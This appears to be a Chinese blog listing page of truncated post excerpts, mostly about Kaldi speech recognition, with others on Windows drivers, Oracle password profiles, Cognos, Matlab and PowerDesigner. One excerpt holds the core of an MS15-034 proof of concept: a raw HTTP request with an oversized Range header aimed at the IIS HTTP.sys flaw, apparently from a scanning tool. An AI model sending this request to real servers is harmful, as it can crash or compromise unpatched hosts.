目录 1. ark特征文件 2. FST文件 3. mdl模型文件 4. 决策树文件 5. ali.gz对齐文件 资料来自kaldi官方文档. 转载注明出处. 1. ark特征文件 copy-feats 可以用来改变特征数据的格式,因此可以转换ark格式文件为txt格式: 用法: copy-feats [options] <feats-rxfilename> <feats-wxfilename> 例子: 先查找copy-feats的目录(每个人可能不一样):find /home/s

Windows驱动跑在核心态(Kernel mode),驱动的调用者跑在用户态.如何使用户态进程与核心态驱动共享内存呢 ? 我们知道32位Windows中,默认状态下虚拟空间有4G,前2G是每个进程私有的,也就是说在进程切换的时候会变化,后2G是操作系统的,所以是固定的.既然用户态进程和核心态驱动在同一个进程空间里,是不是只要直接传个内存地址过来,就可以访问了?理论上可以但实际上不行,因为用户态的进程在不断地切换,使驱动运行时没法保证前面的用户态进程是哪个,也就不确定前2G虚拟地址空间的映射情况

零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n" s.send(flag) data =

今天是农历2014年的最后一个工作日了,在这里提前祝大家新年快乐.羊年大吉!当然本人今天也拿出来点儿真东西,做为献给大家的新年礼物,依次共勉. 下文主要讲述的是使用Java代码来完成对cube基于部门维度创建custom view,实现角色级别的权限控制 第一部分:通用数据库设计 1:事实表(订单分析)--存放departkey关联部门 2:维度表(部门) 3:赋权表 role_id以及对应的role_name,来源于cognos cjap认证中的角色表depart_id以及对应的depart_

FAILED_LOGIN_ATTEMPTS 用于指定连续登陆失败的最大次数 达到最大次数后,用户会被锁定,登陆时提示ORA-28000 UNLIMITED为不限制 精确无误差 是 实时 PASSWORD_LIFE_TIME 用于指定密码有效天数 最少为1,UNLIMITED为不限制 如果已经有用户被提示ORA-28002错误,需要重新修改一次密码,即使此资源已经设置为UNLIMITED 精确无误差 否,始终开启 PASSWORD_REUSE_TIME 用于指定密码可重用时间 UNLIMITED为

------------------------------------------------------------------------------------------------------------------------------------------------------ 孤立词参考的例子就是yes/no脚本. -------------------------------------------------------------------------------

作者:zqh_zy链接:http://www.jianshu.com/p/c5fb943afaba來源:简书著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 本文通过简单kaldi源码,分析DNN训练声学模型时神经网络的输入与输出.在进行DNN训练之前需要用到之前GMM-HMM训练的模型,以训练好的mono模型为例,对模型进行维特比alignement(对齐),该部分主要完成了每个语音文件的帧到transition-id的映射. 不妨查看对齐后的结果: $ copy-int-

Chain模型的训练流程 链式模型的训练过程是MMI的无网格的版本,从音素级解码图生成HMM,对其使用前向后向算法,获得分母状态后验,通过类似的方式计算分子状态后验,但限于对应于转录的序列. 对于神经网络的每个输出索引(即对于每个pdf-id),我们计算(分子占有概率 - 分母占用概率)的导数,并将它们在网络中反向传播. 分母FST 对于计算中的分母部分,我们对HMM进行前向-后向计算.实际上,由于我们把它表示为一个有限状态接受器,标签(pdf-id)与弧而不是状态相关联,所以在正常的公式中分母

在Kaldi中,单音素GMM的训练用的是Viterbi training,而不是Baum-Welch training.因此就不是用HMM Baum-Welch那几个公式去更新参数,也就不用计算前向概率.后向概率了.Kaldi中用的是EM算法用于GMM时的那三个参数更新公式,并且稍有改变.  Baum-Welch算法更新参数时,因为要计算前向后向概率,很费时间,因此使用Viterbi Training作为Baum-Welch算法的近似.在Baum-Welch算法中,计算前向后向概率时,要用到所有

path.sh主要设定路径等 export KALDI_ROOT=`pwd`/../../.. [ -f $KALDI_ROOT/tools/env.sh ] && . $KALDI_ROOT/tools/env.sh export PATH=$PWD/utils/:$KALDI_ROOT/tools/openfst/bin:$PWD:$PATH [ ! -f $KALDI_ROOT/tools/config/common_path.sh ] && echo >&am

在kaldi 的工具集里有好几个程序可以用于在线识别.这些程序都位在src/onlinebin文件夹里,他们是由src/online文件夹里的文件编译而成(你现在可以用make ext 命令进行编译).这些程序大多还需要tools文件夹中的portaudio 库文件支持,portaudio 库文件可以使用tools文件夹中的相应脚本文件下载安装. # 安装portaudio yum -y install *alsa* cd kaldi/tools ./install_portaudio.sh #

目录 一.服务器客户端识别系统建立方法 1. Command line to start the server(服务器端启动方式): 2. Command line to start the client(客户端启动方式): 二.使用麦克风建立客户端与服务器的实时解码 1. 使用online-server-gmm-decode-faster启动服务器: 2. 使用online-net-client启动客户端: 在kaldi 的工具集里有好几个程序可以用于在线识别.这些程序都位在src/onlin

目录 1. gmm-init-mono 模型初始化 2. compile-train-graghs 训练图初始化 3. align-equal-compiled 特征文件均匀分割 4. gmm-acc-stats-ali 累积模型重估所需数据 5. gmm-sum-accs 并行数据合并 6. gmm-est 声音模型参数重估 7. gmm-boost-silence 模型平滑处理 8. gmm-align-compiled 特征重新对齐 9. train_mono.sh 整体流程详解 转载注明

目录 yesno训练 先给出整体脚本如下: 分块详解 建立解码脚本 kaldi中脚本东西比较多,一层嵌一层,不易阅读. 本文以yesno为例,直接使用kaldi编译的工具,书写简易训练步骤,方便学习kaldi工具的使用. 注意:转载请注明出处. yesno训练 准备数据 在yesno/s5下新建文件夹:mkdir easy,后续的操作将在easy文件夹中执行. 拷贝s5下./path到easy文件夹中,./path的作用是能直接调用工具,不用添加工具所在路径,类似于设置环境变量. 本脚主要便于理

前面的博客里说过最近几个月我从传统语音(语音通信)切到了智能语音(语音识别).刚开始是学语音识别领域的基础知识,学了后把自己学到的写了PPT给组内同学做了presentation(语音识别传统方法(GMM+HMM+NGRAM)概述).一段时间后老板就布置了具体任务:在我们公司自己的ARM芯片上基于kaldi搭建一个在线语音识别系统,三个人花三个月左右的时间完成.由于我们都是语音识别领域的小白,要求可以低些,就用传统的GMM-HMM来实现.说实话接到这个任务我们心里是有点没底的,不知道能不能按时完

操作系统 : Unbutu18.04_x64 gcc版本 :7.4.0 该模型在thch30数据集上测试的错误率只有8.25%,效果还是不错的. 模型下载地址: http://www.kaldi-asr.org/models/m2 选择模型:CVTE Mandarin Model V2 测试文本: 自然语言理解和生成是一个多方面问题,我们对它可能也只是部分理解. 在线识别 测试脚本 ./online2-wav-nnet3-latgen-faster -- --beam=15.0 --lattic

语音识别简介 语音识别(speech recognition)技术,也被称为自动语音识别(英语:Automatic Speech Recognition, ASR).计算机语音识别(英语:Computer Speech Recognition)或是语音转文本识别(英语:Speech To Text, STT),其目标是以计算机自动将人类的语音内容转换为相应的文字. 按照不同纬度如下分类: 按词汇量(vocabulary)大小分类: 小词汇量:几十个词: 中等词汇量:几百个到上千个词 大词汇量:几

操作系统 : Ubutu18.04_x64 gcc版本 :7.4.0 数据准备及训练 数据地址: http://www.openslr.org/18/ 在 egs/thchs30/s5 建立 thchs30-openslr 文件夹,然后把三个文件解压在了该文件夹下: [mike@local thchs30-openslr]$ pwd /home/mike/src/kaldi/egs/thchs30/s5/thchs30-openslr [mike@local thchs30-openslr]$

先前的文章<三个小白是如何在三个月内搭一个基于kaldi的嵌入式在线语音识别系统的>说我们花了不到三个月的时间搭了一个基于kaldi的嵌入式语音识别系统,不过它是基于传统的GMM-HMM的,是给我们练手用的,通过搭这个系统我们累积了一定的语音识别领域的经验,接下来我们就要考虑做什么形态的产品了.语音识别可以分大词汇量连续语音识别(Large Vocabulary Continuous Speech Recognition, LVCSR)和关键词识别(Keyword Spotting, KWS)

帮一个老师写的小工具 在一个大工程中需要很多bus来组织信号,而为了规范接口,需要定义很多BusObject,用Matlab语言手写这些BusObject比较费工夫 所以用xml配置文件来写,也便于更改总线数据接口,然后使用matlab脚本来生成BusObject和Bus模块库 以下代码运行环境:WIN10+Matlab2015a 下面给出代码Matlab函数的代码: function xmlbuscreator(xmlfile) % XMLBUSCREATOR:从xml文件读取数据结构,并生成

第一步:将PowerDesigner表字段的中文Name填入Comment中:工具-Execute Commands-Edit/Run Script... '****************************************************************************** '* File: name2comment.vbs '* Title: Name to Comment Conversion '* Model: Physical Data Model